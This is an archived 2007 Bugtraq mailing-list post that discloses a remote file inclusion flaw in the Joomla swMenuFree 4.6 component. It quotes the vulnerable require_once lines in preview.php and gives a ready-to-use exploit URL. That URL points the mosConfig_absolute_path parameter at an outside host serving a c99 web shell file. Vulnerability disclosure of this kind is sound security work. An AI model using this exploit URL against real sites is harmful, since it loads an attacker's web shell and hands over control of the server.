[From nobody Thu Oct 11 19:03:09 2007
X-Account-Key: account2
Received: from outgoing.securityfocus.com (outgoing.securityfocus.com
	[205.206.231.27])
	by milw0rm.com (8.14.0/ 1) with ESMTP id l9BISO6H023498
	for <str0ke@milw0rm.com>; Thu, 11 Oct 2007 13:28:24 -0500 (CDT)
Received: from outgoing.securityfocus.com by outgoing.securityfocus.com
	via smtpd (for milw0rm.com [76.74.9.18]) with ESMTP;
	Thu, 11 Oct 2007 11:24:52 -0700
Received: from lists2.securityfocus.com (lists2.securityfocus.com
	[205.206.231.20]) by outgoing3.securityfocus.com (Postfix) with QMQP
	id F1D64236F70; Thu, 11 Oct 2007 11:26:37 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 25671 invoked from network); 11 Oct 2007 16:27:01 -0000
Date: 11 Oct 2007 16:41:50 -0000
Message-ID: <20071011164150.9675.qmail@securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.411 (Entity 5.404)
From: Guns@0x90.com.ar
To: bugtraq@securityfocus.com
Subject: Joomla! swMenuFree 4.6 Component Remote File Include

#Joomla! swMenuFree 4.6 Component Remote File Include
#Found by 0x90
#WwW.0x90.CoM.Ar
#Download: http://www.swmenupro.com/index.php?option=com_remository&Itemid=298&func=fileinfo&id=12
#dork: No dork for script kiddies.. :)
#BUG:

preview.php:12: require_once($mosConfig_absolute_path ."/modules/mod_swmenufree/styles.php"); // <-- RFI
preview.php:13: require_once($mosConfig_absolute_path ."/modules/mod_swmenufree/functions.php"); // <-- RFI

#Expl0it:
http://www.site.com/components/com_swmenufree/preview.php?mosConfig_absolute_path=http://scriptkiddie.com/c99haxor.txt?

#Contact: Guns [at] 0x90 [dot] com [dot] ar

]